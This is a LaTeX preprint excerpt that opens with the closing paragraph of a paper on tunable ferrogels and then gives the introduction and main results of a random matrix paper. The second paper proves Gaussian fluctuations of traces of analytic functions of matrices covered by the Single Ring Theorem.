On the theoretical side, a connection to continuum descriptions on the macroscopic scale shall be established in the future \cite{Menzel2016_PhysRevE,Bohlius2004_PhysRevE,Jarkova2003_PhysRevE}.
Exploiting the described reversibly tunable nonlinear stress-strain behavior of our systems should enables a manifold of applications.
When a pre-stress is applied to the material, such that it is pre-strained to the superelastic regime, it becomes extremely deformable\cite{Menzel2009_EurPhysJE}.
This is an interesting property for easily applicable gaskets, packagings, or valves \cite{Boese2012_JIntellMaterSystStruct}.
Moreover, in such a state, the ferrogel can be operated as a soft actuator \cite{Zhou2005_SmartMaterStruct,Zimmermann2006_JPhysCondensMatter,Kashima2012_IEEETransMagn,Galipeau2013_ProcRSocA,Allahyarov2014_SmartMaterStruct}, as external magnetic fields can trigger significant deformations.
Passive dampers based on superelastic shape-memory alloys are already established \cite{Saadat2002_SmartMaterStruct,Ozbulut2011_JIntellMaterSystStruct} and utilize hysteretic losses under recoverable cyclic loading to dissipate the energy.
Our results for the \emph{free} system might stimulate the construction of analogous soft passive dampers with the additional benefit of being reversibly tunable from outside.
Finally, the typically elevated biocompatibility of polymeric materials allows for medical applications exploiting the above features, e.g., in the form of quickly fittable wound dressings, artificial muscles \cite{Ramanujan2006_SmartMaterStruct,Shahinpoor2007_book}, or tunable implants \cite{Cezar2014_AdvHealthcMater,Cezar2016_ProcNatlAcadSciUSA}.
\section*{Acknowledgements}
The authors thank the Deutsche Forschungsgemeinschaft for support of this work through the priority program SPP 1681.
|
1,477,468,750,059 | arxiv | \section{Introduction}
The Single Ring Theorem, by Guionnet, Krishnapur and Zeitouni \cite{GUI}, describes the empirical distribution of the eigenvalues of a large generic matrix with prescribed singular values, \emph{i.e. } an $N\times N$ matrix of the form $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$, with $\mathbf{U}, \mathbf{V}$ some independent Haar-distributed unitary matrices and $\mathbf{T}$ a deterministic matrix whose singular values are the ones prescribed. More precisely, under some technical hypotheses,
as the dimension $N$ tends to infinity, if the empirical distribution of the singular values of $\mathbf{A}$ converges to a compactly supported limit measure $\Theta$ on the real line,
then the empirical eigenvalues distribution of $\mathbf{A}$ converges to a limit measure $\mu$ on the complex plane
which depends only on $\Theta$. The limit measure $\mu$ (see Figure \ref{Fig11})
is rotationally invariant in $\mathbb{C}$ and its support is the annulus $S:=\{z\in \mathbb{C}\, ;\, a\le |z|\le b\}$, with $a,b\ge 0$ such that \begin{equation}\label{9914}a^{-2}=\int x^{-2}\mathrm{d}\Theta( x)\qquad \textrm{ and }\qquad b^{2}=\int x^{2}\mathrm{d}\Theta( x).\end{equation}
In this text, we consider such a matrix $\mathbf{A}$
and we study (Theorem \ref{theoremgen}) the joint weak convergence, as $N\to\infty$, of random variables of the type $$\operatorname{Tr} (f(\mathbf{A})\mathbf{M}),$$ for $f$ an analytic function on the annulus $S$ whose Laurent series expansion has null constant term and $\mathbf{M}$ a deterministic $N\times N$ matrix satisfying some limit conditions. These limit conditions (see \eqref{3031512h}) allow to consider both:
\begin{itemize}\item[--] fluctuations, around their limits as predicted by the Single Ring Theorem, of linear spectral statistics of $\mathbf{A}$ (for $\mathbf{M}=\mathbf{I}$): $$\operatorname{Tr} f(\mathbf{A})=\sum_{i=1}^Nf(\lambda_i),$$ where $\lambda_1, \ldots, \lambda_N$ denote the eigenvalues of $\mathbf{A}$,\\ \item[--] finite rank projections of $f(\mathbf{A})$ (for $ \mathbf{M}=\sqrt{N}\times$(a matrix with bounded rank)), like the matrix entries of $f(\mathbf{A})$. \end{itemize}
Let us present both of these directions with more details.
\subsection{Linear spectral statistics of $\mathbf{A}$}
As far as Hermitian random matrices are concerned, linear spectral statistics fluctuations usually come right after the macroscopic behavior, with the microscopic one, in the natural questions that arise (see e.g., among the wide literature on the subject, \cite{jonsson,KKP96,sinai,johansson,BaiYaoBernoulli2005,BAI2009EJP,lytova,MShcherbina11,greg-ofer,lytova,baiysilver,chatterjee,AFCTCL}). For unitary or orthogonal matrices, also,
many results have been proved (see e.g. the results of Diaconis \emph{et al} in \cite{dia-shah,dia-evans}, the ones of Soshnikov in \cite{soshni00} or the ones of L\'evy and Ma\"{\i}da in \cite{thierrymylene}).
For non-Hermitian matrices, established results are way less numerous: the first one was \cite{RiderJack}, by Rider and Silverstein, for analytic test functions of matrices with i.i.d. entries, then came the paper \cite{RiderVirag} by Rider and Vir\'ag, who managed, thanks to the explicit determinantal structure of the correlation functions of the Ginibre ensemble, to study the fluctuations of linear spectral statistics of such matrices for $\mathcal {C}^1$ test functions. Recently, in \cite{ORR}, O'Rourke and Renfrew studied the fluctuations of linear spectral statistics of elliptic matrices for analytic test functions and, in \cite{Kemp,CebronKemp}, C\'ebron and Kemp used a dynamical approach to study such fluctations on $\mathbb{GL}_N$. The reason why, except for the breakthrough of Rider and Vir\'ag in \cite{RiderVirag}, many results are limited to analytic test functions is that
when non-normal matrices are concerned, functional calculus makes sense only for analytic functions: if one denotes by $\lambda_1, \ldots, \lambda_N$ the eigenvalues of a non-Hermitian matrix $\mathbf{A}$, one can estimate $\sum_{i=1}^N f(\lambda_i)$ out of the numbers $\operatorname{Tr} \mathbf{A}^k$ or $\operatorname{Tr}((z-\mathbf{A})^{-1})$ only when $f$ is analytic. For a $\mathcal {C}^2$ test function $f$, one relies on the explicit joint distribution of the $\lambda_i$'s or on Girko's so-called \emph{Hermitization technique}, which expresses the empirical spectral measure of $\mathbf{A}$ as the Laplacian of the function $ z\longmapsto \log|\det(z-\mathbf{A})|$ (see e.g. \cite{girko,BOR1}). This is a way more difficult problem, which we consider in a forthcoming project.
In this text, as a corollary of our main theorem, we prove that for $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$ an $N\times N$ matrix of the type introduced above and $f$ an analytic function on a neighborhood of the limit support $S$ of the empirical eigenvalue distribution of $\mathbf{A}$,
the random variable $$\operatorname{Tr} f(\mathbf{A})-\mathbb{E}\, f(\mathbf{A})$$
converges in distribution, as $N\to\infty$, to a centered complex Gaussian random variable with a given covariance matrix (see Corollary \ref{cor1}). This is a first step in the study of the noise in the Single Ring Theorem. We notice a quite common fact in random matrix theory: the random variable \begin{equation*}\label{2903171
\operatorname{Tr} f(\mathbf{A})-\mathbb{E}\, \operatorname{Tr} f(\mathbf{A})=\sum_{i=1}^N f(\lambda_i)-\mathbb{E}\, f(\lambda_i)\end{equation*} does not need to be renormalized to have a limit in distribution, which reflects the eigenvalue repulsion phenomenon (indeed, would the $\lambda_i$'s have been i.i.d., this random variable would have had order $\sqrt{N}$).
Next, two corollaries are given (Corollaries \ref{bergman} and \ref{carpol174151}), one about the Bergman kernel and the resolvant and one about the log-correlated limit distribution of the characteristic polynomial out of the support.
It should be noted that the class of test functions studied -- $f$ analytic on a neighborhood of the annulus where the eigenvalues $\lambda_i$ locate asymptotically -- is not rich enough to fully characterize the fluctuations the spectrum. For example, not all smooth functions on the annulus can be approximated by analytic functions.
Thus while these results do give insight into the fluctuations, the full study of the fluctuations would have to go beyond the realm of analytic test functions.
\subsection{Finite rank projections and matrix entries} A century ago, in 1906, \'Emile Borel proved in \cite{b1906} that, for
a uniformly distributed point $ (X_1 , \ldots , X_N)$ on the unit Euclidian sphere $\mathbb{S}^{N-1}$, the scaled first coordinate $\sqrt{N}X_1$ converges weakly to the Gaussian distribution as the dimension $N$ tends to infinity. As explained in the introduction of the paper \cite{diaconis2003} of Diaconis {\it et al.}, this means that the features of the ``microcanonical" ensemble in a certain model for statistical mechanics (uniform measure on the sphere) are captured by the ``canonical" ensemble (Gaussian measure). Since then, a long list of further-reaching results about the asymptotic normality of entries of random orthogonal or unitary matrices have been obtained (see e.g. \cite{diaconis2003,meckes08, meckessourav08,collins-stolz08,jiang06,BENCLT,FloGuiJean}).
In this text, as a corollary of our main theorem, we prove that for $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$ an $N\times N$ matrix of the type introduced above, $f(z)=\sum_{n\in \mathbb{Z}}a_nz^n$ an analytic function on a neighborhood of the limit support $S$ of the empirical eigenvalue distribution of $\mathbf{A}$ and $\mathbf{a},\mathbf{b}$ some unit column vectors,
the random variables of the type $$\sqrt{N}(\mathbf{b}^*f(\mathbf{A})\mathbf{a}- a_0\mathbf{b}^*\mathbf{a}),$$ which can be seen as particular cases of the variables of the type $\operatorname{Tr} (f(\mathbf{A})\mathbf{M})-\mathbb{E}\,\operatorname{Tr} (f(\mathbf{A})\mathbf{M})$ for $M=\sqrt N\mathbf{a}\mathbf{b}^*$,
converge in joint distribution, as $N\to\infty$, to centered complex Gaussian random variables with a given covariance matrix (see Corollary \ref{cor3}). This allows for example to consider matrix entries of $f(\mathbf{A})$, in the vein of the works of Soshnikov \emph{et al.} for Wigner matrices in \cite{ORRS,PRS12} (see Corollary \ref{cor4} and Remark \ref{rmk16415abc}). It also applies to the study of finite rank perturbations of $\mathbf{A}$ of \emph{multiplicative type}: the BBP phase transition (named after the authors of the seminal paper \cite{BAI}) is well understood for additive or multiplicative perturbations ($\widetilde{\mathbf{A}}=\mathbf{A}+\mathbf{P}$ or $\widetilde{\mathbf{A}}=\mathbf{A}(\mathbf{I}+\mathbf{P})$) of general Hermitian models (see \cite{SP06,CDFF,BEN1} or \cite{BAI,BEN4}), for additive perturbations of various non-Hermitian models (see \cite{TAO1,FloJean,ROR12,BORCAP1}), but multiplicative perturbations of non-Hermitian models were so far unexplored. In Remark \ref{rmk16415aha} and Figure \ref{Fig:outliersmult}, we explain briefly how our results allow to enlighten a BBP transition for such perturbations.
\subsection{Organisation of the paper and proofs}
In the next section, we state our main theorem (Theorem \ref{theoremgen}) and its corollaries. The rest of the paper is devoted to the proof of Theorem \ref{theoremgen}, to the proof of Corollary \ref{carpol174151} and to the appendix
Theorem \ref{theoremgen} is proved in three steps. First, we do a cut-off approximation to replace the analytic functions $f$ in the random variables $\operatorname{Tr} (f(\mathbf{A})\mathbf{M})$ by polynomials. The estimation of the error term in this cut-off is far from obvious relies on non-asymptotic estimates from \cite{BEN} and \cite{FloJean}. Then, to prove the convergence to Gaussian random variables, we perform a moment calculation, using Weingarten calculus (for the asymptotic fine moments of Haar-distributed unitary matrices). Weingarten calculus is the theory, due essentially to Collins and \'Sniady, of the joint moments of entries of Haar-distributed unitary matrices. We summarize the necessary ingredients of the theory in Appendix A. The third step is the computation of the limit covariance.
\section{Main result}
Let $\mathbf{A}$ be a random $N\times N$ matrix implicitly depending on $N$ such that $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$, with $\mathbf{U},\mathbf{V},\mathbf{T}$ independent and $\mathbf{U},\mathbf{V}$ Haar-distributed on the unitary group. We make the following hypotheses on $\mathbf{T}$:
\begin{assum}\label{assum:1} As $N\to\infty$, the sequence $\left(N^{-1}\operatorname{Tr} \mathbf{T}\bT^*\right)^{1/2}$ converges in probability to a deterministic limit $b>0$ and there is $M<\infty $ such that with probability tending to one, $\|\mathbf{T}\|_{\operatorname{op}}\le M$.
\end{assum}
\begin{assum}\label{assum:2} With the convention $1/\infty=0$ and $1/0=\infty$, the sequence $$\left(N^{-1}\operatorname{Tr} ((\mathbf{T}\bT^*)^{-1})\right)^{-1/2}$$ converges in probability to a deterministic limit $a\ge 0$. If $a>0$, we also suppose that there is $M'<\infty$ such that with probability tending to one,
$\|\mathbf{T}^{-1}\|_{\operatorname{op}}\le M'$.
\end{assum}
The following, seemingly purely technical, assumption, which could possibly be relaxed following Basak and Dembo's approach of \cite{BD13}, is made to control tails of Laurent series but can be removed if the $f_j$'s have finite Laurent expansion, like in Corollary \ref{cor2} or in Remark \ref{rmk16415abc}. Precisely, we need it to cite some estimates from \cite{GUI2}, where they were proved under this assumption.
\begin{assum}\label{assum:3} There exist a constant $\kappa>0$ such that
\begin{eqnarray*}
\im(z) \ > \ n^{-\kappa} \implies N^{-1} \big|\im \operatorname{Tr}( (z-\sqrt{\mathbf{T}\bT^*})^{-1}) \big| \ \leq \ \frac{1}{\kappa}.
\end{eqnarray*}
\end{assum}
For $f$ an analytic function on a neighborhood of the annulus $$S:=\{z\in \mathbb{C}\, ;\, a\le |z|\le b\} ,$$ the matrix $f(\mathbf{A})$ is well defined with probability tending to one as $N\to\infty$, as it was proved in \cite{GUI2,BEN} that the spectrum of $\mathbf{A}$ is contained in any neighborhood of $S$ with probability tending to one. We denote the Laurent series expansion, on $S$, of any such function $f$ by $$f(z)=\sum_{n\in \mathbb{Z}}a_n(f)z^n.$$
\begin{Th}\label{theoremgen}
For each $N \geq 1$, let $\mathbf{M}_1,\ldots,\mathbf{M}_k $ be $N\times N$ deterministic matrices such that for all $i,j$, as $N \to \infty$,
\begin{eqnarray}\label{3031512h}
\frac{1} N \operatorname{Tr} \mathbf{M}_i \ \tto \ \tau_i, &\displaystyle \frac{1} N \operatorname{Tr} \mathbf{M}_i \mathbf{M}_j^* \ \tto \ \alpha_{ij}, & \frac{1} N \operatorname{Tr} \mathbf{M}_i\mathbf{M}_j \ \tto \ \beta_{ij}
\end{eqnarray}
Let $f_1,\ldots,f_k$ be analytic on a neighborhood of $S$. Then, as $N \to \infty$, the random vector
\begin{equation}\label{273151}
\Big( \operatorname{Tr} f_j ( \mathbf{A})\mathbf{M}_j - a_0( f_j ) \operatorname{Tr} \mathbf{M}_j \Big)_{j=1}^k
\end{equation}
converges to a centered complex Gaussian vector $(\mathcal{G}(f_1),\ldots,\mathcal{G}(f_k))$ whose distribution is defined by
\begin{eqnarray*}
\mathbb{E}\, \mathcal{G}(f_i) \mathcal{G}(f_j) & = & \sum_{n \geq 1}\big((n-1)\tau_i\tau_j+\beta_{ij} \big)\big( a_n(f_i) a_{-n}(f_j) + a_{-n}(f_i) a_{n}(f_j) \big)\\
\mathbb{E}\, \mathcal{G}(f_i) \overline{\mathcal{G}(f_j)} & = & \sum_{n \geq 1}\big((n-1)\tau_i\overline{\tau_j}+\alpha_{ij}\big)\big(a_n(f_i)\overline{a_n(f_j)}b^{2n} + a_{-n}(f_i)\overline{a_{-n}(f_j) } a^{-2n} \big).
\end{eqnarray*}
\end{Th}
\begin{rmk} In \eqref{273151}, $$ \operatorname{Tr} f_j ( \mathbf{A})\mathbf{M}_j - a_0( f_j ) \operatorname{Tr} \mathbf{M}_j$$ rewrites $$ \operatorname{Tr} f_j ( \mathbf{A})\mathbf{M}_j - \mathbb{E}\, \operatorname{Tr} f_j ( \mathbf{A})\mathbf{M}_j.$$
Indeed, $ \mathbb{E}\, f(\mathbf{A})=a_0 \mathbf{I}$, as a consequence of the fact that for any $n\ne 0$, for any $\theta\in \mathbb{R}$, $ \mathbf{A}^n\stackrel{\textrm{law}}{=} \mathrm{e}^{\mathrm{i}\theta}\mathbf{A}^n$, which follows from the invariance of the Haar measure.
\end{rmk}
\begin{rmk}\label{rmk:series_sommables}Note that if $a=0$, as the $f_j$'s are analytic on $S$, we have $a_{-n}(f_j)=0$ for each $n\ge 1$ and each $j$, so that the above expression still makes sense. Besides,
it seems reasonable to verify that the two series above converge:
\begin{eqnarray*}
\sum_{n \geq 1}n |a_n(f_i)| |a_n(f_j)| b^{2n} & \leq & \big(\max_{n \geq 1} |a_n(f_j)|b^n\big) \sum_{n \geq 1} n |a_n(f_i)|b^n \ < \ \infty \\
\sum_{n \geq 1}n |a_n(f_i)|| a_{-n}(f_j)| & \leq &\big( \max_{n \geq 1} |a_n(f_i)|b^n \big) \sum_{n \geq 1} n | a_{-n}(f_j)| a^{-n} \ < \ \infty.
\end{eqnarray*}
\end{rmk}
\begin{rmk}[Relation to second order freeness] A theory has been developed recently about Gaussian fluctuations (called {\it second order limits}) of traces of large random matrices, the most emblematic articles in this theory being \cite{mingo-nica04, mingo-speicher06, mingo-piotr-speicher07, mingo-piotr-collins-speicher07}. Theorem \ref{theoremgen} can be compared to some of these results. However, our hypotheses on the matrices we consider are of a different nature than the ones of the previously cited papers, since the convergence of the non commutative distributions is not required here: our hypotheses are satisfied for example by matrices like $\mathbf{M}_j=\sqrt{N}\times$(an elementary $N\times N$ matrix), which have no bounded moments of order higher than two.
\end{rmk}
Our two main applications are the case where the $\mathbf{M}_j$'s are all $\mathbf{I}$ (Corollaries \ref{cor1} and \ref{cor2}) and the cases where the $\mathbf{M}_j$'s are $\sqrt{N}$ times matrices with bounded rank and norm, like elementary matrices (Corollaries \ref{cor3} and \ref{cor4}).
In the case $\mathbf{M} = \mathbf{I}$, we immediately obtain the following corollary about linear spectral statistics of $\mathbf{A}$.
\begin{cor}\label{cor1}
Let $f_1,\ldots,f_k$ be analytic on a neighborhood of $S$. Then, as $N \to \infty$, the random vector
$$
\Big( \operatorname{Tr} f_j \big( \mathbf{A}\big) - Na_0( f_j ) \Big)_{j=1}^k
$$
converges to a centered complex Gaussian vector $(\mathcal{G}(f_1),\ldots,\mathcal{G}(f_k))$ such that
\begin{eqnarray*}
\mathbb{E}\, \mathcal{G}(f_i) \mathcal{G}(f_j) & = & \sum_{n \in \mathbb{Z}}|n| a_n(f_i) a_{-n}(f_j) \\
\mathbb{E}\, \mathcal{G}(f_i) \overline{\mathcal{G}(f_j)} & = & \sum_{n \geq 1}n\big(a_n(f_i)\overline{a_n(f_j)}b^{2n} + a_{-n}(f_i)\overline{a_{-n}(f_j) } a^{-2n} \big).
\end{eqnarray*}
\end{cor}
For $n\ge 1$, let us define the functions $$ \varphi^\pm_n(z) \ := \ \left(\frac{z}{b}\right)^n \pm \left(\frac{a}{z}\right)^n.$$
These functions (plus the constant one) define a basis of the space of analytic functions on a neighborhood of $S$ and we have the change of basis formula
$$\sum_{n\in \mathbb{Z}} a_n z^n=a_0+\sum_{n\ge 1} c_n^+\varphi_n^+(z)+c_n^-\varphi_n^-(z)\iff \forall n\ge 1,\; \begin{pmatrix} a_n\\ a_{-n}\end{pmatrix} = \begin{pmatrix} b^{-n}& b^{-n}\\ a^n& -a^n\end{pmatrix} \begin{pmatrix} c_n^+\\ c_n^- \end{pmatrix}\,,$$
implying that\begin{eqnarray*}
\sum_{n\geq 1}|a_n(f)|^2b^{2n} + |a_{-n}(f)|^2 a^{-2n} & = & 2\sum_{n \geq 1}|c^+_n(f)|^2 + |c^-_n(f)|^2.
\end{eqnarray*}
Besides, these functions allow to identify the underlying white noise in Theorem \ref{theoremgen} (we only state it here in the case $\mathbf{M}_j=\mathbf{I}$, but this of course extends to the case of general $\mathbf{M}_j$'s, allowing for example to state analogous results for the matrix entries).
\begin{cor}[Underlying white noise]\label{cor2}The finite dimensional marginal distributions of $$(\operatorname{Tr} \varphi^+_n(\mathbf{A}))_{n\ge 1}\,\mbox{\mtsmall{$\bigcup$}} \,(\operatorname{Tr} \varphi^-_n(\mathbf{A}))_{n\ge 1}$$ converge to the ones of a collection $(\mathcal{G}_n^+)_{n\ge 1}\, \cup \,(\mathcal{G}_n^-)_{n\ge 1}$ of independent centered complex Gaussian random variables satisfying $$\mathbb{E}\, |\mathcal{G}_n^\pm|^2\;=\;2\qquad;\qquad \mathbb{E}\, (\mathcal{G}_n^\pm)^2\;=\;\pm 2n(a/b)^n.$$
\end{cor}
\begin{rmk}[Ginibre matrices]
In the particular case where $\mathbf{A}$ is a Ginibre matrix (\emph{i.e. } with i.i.d. entries with law $ \mc{N}_\mathbb{C}(0,N^{-1})$), we reproduce the result of Rider and Silverstein \cite{RiderJack}, noticing that in this case $a=0$ and $b=1$, so that $a_n(f)=0$ when $n<0$ and $\mathbb{E}\, \mathcal {G}(f_i)\mathcal {G}(f_j) =0$, and, for $\mathrm{d} m(z)$ the Lebesgue measure on $\mathbb{C}$,
\begin{eqnarray*}
&&\frac{1}{\pi}\int_{|z|<1} \frac{\partial}{\partial z}f_i(z) \overline{\frac{\partial}{\partial z}f_j(z)}\mathrm{d} m(z) \\
& = & \frac{1} \pi \int_{|z|<1}-\frac{1}{4\pi^2} \oint_{\op{Circle}(1+\varepsilon)} \oint_{\op{Circle}(1+\varepsilon)} \frac{f_i(\xi_1)}{(\xi_1 - z)^2} \frac{\overline{f_j(\xi_2)}}{(\overline{\xi_2} - \overline z)^2}\mathrm{d} \xi_1\mathrm{d} \xi_2\mathrm{d} m(z)\\
& = & -\frac{1}{4\pi^2} \oint_{\op{Circle}(1+\varepsilon)} \oint_{\op{Circle}(1+\varepsilon)} \!\!\!\!\frac{f_i(\xi_1)\overline{f_j(\xi_2)}}{\xi_1^2 \overline{\xi_2}^2} \frac{1} \pi \int_{|z|<1} \sum_{n,n' \geq 1}nn' \left(\frac{z}{\xi_1}\right)^{n-1} \left(\frac{\overline z}{\overline \xi_2}\right)^{n'-1}\!\!\!\!\mathrm{d} m(z)\mathrm{d} \xi_1\mathrm{d} \xi_2\\
& = & -\frac{1}{4\pi^2} \oint_{\op{Circle}(1+\varepsilon)} \oint_{\op{Circle}(1+\varepsilon)} f_i(\xi_1)\overline{f_j(\xi_2)}\sum_{n \geq 1}n \big(\xi_1\overline{\xi_2}\big)^{-n-1}\mathrm{d} \xi_1\mathrm{d} \xi_2 \\
& = & \sum_{n \geq 1} n a_n(f_i) \overline{a_n (f_j)}
\end{eqnarray*}
\end{rmk}
\begin{rmk}
If $\mathbf{T} = \mathbf{I}$, and the $f_k$'s are polynomial, we reproduce a result of Diaconis and Shahshahani \cite[Theorem 1]{dia-shah} on the limit joint distribution of
$$
\left( \operatorname{Tr}(\mathbf{U}^k)\right)_{k=1}^n,
$$
where $\mathbf{U}$ is Haar-distributed. Actually, the Corollary \ref{cor1} is slightly stronger, since the result holds for $\mathbf{A} = \mathbf{U}\mathbf{T}$ or $\mathbf{A} = \mathbf{U}\mathbf{T}\mathbf{V}$ as long as $\mathbf{T}$ satisfies
\begin{eqnarray} \label{1827020420051}
\lim_{N \to \infty} \frac{1} N \operatorname{Tr}(\mathbf{T}\bT^*) \ = \lim_{N \to \infty} \frac{1} N \operatorname{Tr}((\mathbf{T}\bT^*)^{-1}) = 1,
\end{eqnarray}
in which case $\mathbf{A}$ may be seen as a multiplicative perturbation of $\mathbf{U}$. Indeed, \eqref{1827020420051} implies that all singular values of $\mathbf{T}$ are close to $1$. The matrix $\mathbf{T}$ satisfies the condition \eqref{1827020420051} for example if it is diagonal and all its diagonal coefficients are equal to $1$ except $\oo{N}$ of them (which stay away from $0$ and $\infty$).
\end{rmk}
\begin{cor}[Bergman kernel and resolvant]\label{bergman}The random process $$ \left(\operatorname{Tr} (z-\mathbf{A})^{-1}\right)_{|z|<a}\,\cup\,\left(\operatorname{Tr} (z-\mathbf{A})^{-1}\right)_{|z|>b}$$ converges, for the finite-dimensional distributions, to a centered complex Gaussian process $$\left(\mathcal {G}_z\right)_{|z|<a}\,\cup\, \left(\mathcal {H}_z\right)_{|z|>b}$$ with covariance defined by $$ \mathbb{E}\, \mathcal {G}_z\overline{\mathcal {G}_{z'}}=\frac{b^2}{(b^2-z\overline{z'})^2}\,,\qquad \mathbb{E}\, \mathcal {H}_z\overline{\mathcal {H}_{z'}}=\frac{a^2}{(a^2-z\overline{z'})^2}\,,\qquad \mathbb{E}\, \mathcal {G}_z \mathcal {H}_{z'} =-\frac{1}{(z'-z)^2}.$$ and by the fact that $$\forall \theta\in \mathbb{R},\qquad \left(\mathrm{e}^{-\mathrm{i}\theta}\mathcal {G}_z\right)_{|z|<a}\,\cup\, \left(\mathrm{e}^{\mathrm{i}\theta}\mathcal {H}_z\right)_{|z|>b}\,\,\stackrel{\textrm{law}}{=}\,\, \left(\mathcal {G}_z\right)_{|z|<a}\,\cup\, \left(\mathcal {H}_z\right)_{|z|>b}.$$
\end{cor}
\begin{rmk}The kernel of the limit Gaussian analytic function, in the previous corollary, is, up to a constant factor, the \emph{Bergman kernel} (see \cite{bell,peresvirag}).
\end{rmk}
\begin{cor}[Characteristic polynomial out of the support]\label{carpol174151}The random process $$ \left(\log|\det(z-\mathbf{A})|- \operatorname{Tr}\log\mathbf{T}\right)_{|z|<a}\,\cup\,\left(\log|\det(z-\mathbf{A})|-N\log|z|\right)_{|z|>b}$$ converges, for the finite-dimensional distributions, to a centered real Gaussian process $$\left(\mathcal {G}_z\right)_{|z|<a}\,\cup\, \left(\mathcal {H}_z\right)_{|z|>b}$$ with covariance defined by $$2\mathbb{E}\, \mathcal {G}_z\mathcal {G}_{z'}=-\log\left|1-\frac{z\overline{z'}}{a^2}\right|\,,\qquad 2\mathbb{E}\, \mathcal {H}_z\mathcal {H}_{z'}=-\log\left|1-\frac{b^2}{z\overline{z'}}\right|\,,\qquad 2\mathbb{E}\, \mathcal {G}_{z}\mathcal {H}_{z'}=-\log\left|1-\frac{z}{z'}\right|\,.$$
\end{cor}
\begin{rmk}As $z\ne z'$ both tend to the same point on the boundary of $S$, the above covariances are equivalent to $-\log|z-z'|$. In the light of the log-correlation approach to the Gaussian Free Field (see \cite{BRSVoverview}), it supports the idea that on the limit support $S$, the characteristic polynomial of $\mathbf{A}$ should tend to an object related to the Gaussian Free Field, as for Ginibre matrices (see Corollary 2 of \cite{RiderVirag}). It would be interesting to see to what extent such a convergence depends on the hypotheses made on the precise distribution of the singular values of $\mathbf{T}$.
\end{rmk}
In the case $\mathbf{M}_j = \sqrt{N}\mathbf{a}_j\mathbf{b}^*_j$, we immediately obtain the following corollary:
\begin{cor}\label{cor3}For each $N \geq 1$, let $\mathbf{a}_1,\mathbf{b}_1,\ldots,\mathbf{a}_k ,\mathbf{b}_k$ be deterministic column vectors with size $N$ such that for all $i,j$, as $N\to\infty$,
\begin{equation}\label{3031512huv}
\mathbf{a}_i^*\mathbf{a}_j \ \tto \ \kappa^{\op{a},\op{a}}_{ij}\in \mathbb{C}\qquad;\qquad \mathbf{b}_i^*\mathbf{a}_j \ \tto \ \kappa^{\op{b},\op{a}}_{ij}\in \mathbb{C} \qquad;\qquad \mathbf{b}_i^*\mathbf{b}_j \ \tto \ \kappa^{\op{b},\op{b}}_{ij} \in \mathbb{C}
\end{equation}
Let $f_1,\ldots,f_k$ be analytic on a neighborhood of $S $. Then, as $N \to \infty$, the random vector
\begin{equation}\label{273151uv}
\sqrt{N}\Big( \mathbf{b}_j^*f_j ( \mathbf{A})\mathbf{a}_j - \mathbf{b}_j^* \mathbf{a}_j a_0( f_j ) \Big)_{j=1}^k
\end{equation}
converges to a centered complex Gaussian vector $(\mathcal{G}(f_1),\ldots,\mathcal{G}(f_k))$ such that
\begin{eqnarray*}
\mathbb{E}\, \mathcal{G}(f_i) \mathcal{G}(f_j) & = & \sum_{n \geq 1} \kappa_{ji}^{\op{a},\op{a}}\kappa_{ij}^{\op{b},\op{b}} \big( a_n(f_i) a_{-n}(f_j) + a_{-n}(f_i) a_{n}(f_j) \big)\\
\mathbb{E}\, \mathcal{G}(f_i) \overline{\mathcal{G}(f_j)} & = & \sum_{n \geq 1} \kappa_{ji}^{\op{b},\op{a}}\kappa_{ij}^{\op{b},\op{a}}\big(a_n(f_i)\overline{a_n(f_j)}b^{2n} + a_{-n}(f_i)\overline{a_{-n}(f_j) } a^{-2n} \big).
\end{eqnarray*}
\end{cor}
\begin{rmk}[Application to multiplicative finite rank perturbations of $\mathbf{A}$]\label{rmk16415aha}The previous corollary has several applications to the study of the outliers of spiked models related to the Single Ring Theorem. It allows for example to understand easily, using the techniques developed in \cite{FloJean}, the impact of \emph{multiplicative} finite rank perturbations on the spectrum of $\mathbf{A}$ (whereas only \emph{additive} perturbations had been studied so far).
For example, one can deduce from this corollary that for $\mathbf{P}$ a deterministic matrix with bounded operator norm and rank one, if one defines $\widetilde{\mathbf{A}}:=\mathbf{A}(\mathbf{I}+\mathbf{P})$ and $\hat{\mathbf{A}}:=\mathbf{A}(\mathbf{I}+\mathbf{A}\mathbf{P})$, then \begin{itemize}\item the matrix $\widetilde{\mathbf{A}}$ has no outlier (\emph{i.e. } the support of its spectrum still converges to $S$),
\item the matrix $\hat{\mathbf{A}}$ has no outlier with modulus $>b$, but each eigenvalue $\lambda$ of $\mathbf{P}$
such that $|\lambda|>a^{-1}$ gives rise to an outlier of $\hat{\mathbf{A}}$ located approximately at $-\lambda^{-1}$ (besides, when the multiplicity of $\lambda$ as an eigenvalue of $\mathbf{P}$ is $1$, the fluctuations of the outlier around $-\lambda^{-1}$ are Gaussian and with order $N^{-1/2}$).
\end{itemize}
This phenomenon is illustrated by Figure \ref{Fig:outliersmult}.
\newcommand{.45}{.45}
\begin{figure}[ht]
\centering
\subfigure[Spectrum of $\mathbf{A}$]{
\includegraphics[scale=.45]{multiplicative_spike_SRT0.png}
\label{Fig11}} \qquad
\subfigure[Spectrum of $\widetilde{\mathbf{A}}:=\mathbf{A}(\mathbf{I}+\mathbf{P})$]
{\includegraphics[scale=.45]{multiplicative_spike_SRT1.png}
\label{Fig12}}
\qquad
\subfigure[Spectrum of $\hat{\mathbf{A}}:=\mathbf{A}(\mathbf{I}+\mathbf{A}\mathbf{P})$ (small circles are centered at the theoretical limit locations of the outliers)]
{\includegraphics[scale=.45]{multiplicative_spike_SRT2.png}
\label{Fig13}}
\caption{{\bf Outliers/lack of outliers for multiplicative perturbations:} simulation realized with a single $10^3\times 10^3$ matrix $\mathbf{A}=\mathbf{U}\mathbf{T}\mathbf{V}$ when the singular values of $\mathbf{T}$ are uniformly distributed on $[0 . 5 , 4]$ and $\mathbf{P}=\operatorname{diag}(-2,(0.8+0.5\mathrm{i})^{-1},1/3,0, \ldots, 0)$. As predicted, none of these matrices has any outlier outside the outer circle, nor do the two first ones inside the inner circle, but $\hat{\mathbf{A}}$ has two outliers inside the inner circle, close to the predicted locations.}\label{Fig:outliersmult}
\end{figure}
\end{rmk}
To state the next corollary, let us first give the definition of Gaussian elliptic matrices.
\begin{Def}[Gaussian elliptic matrices]\label{defelliptic}
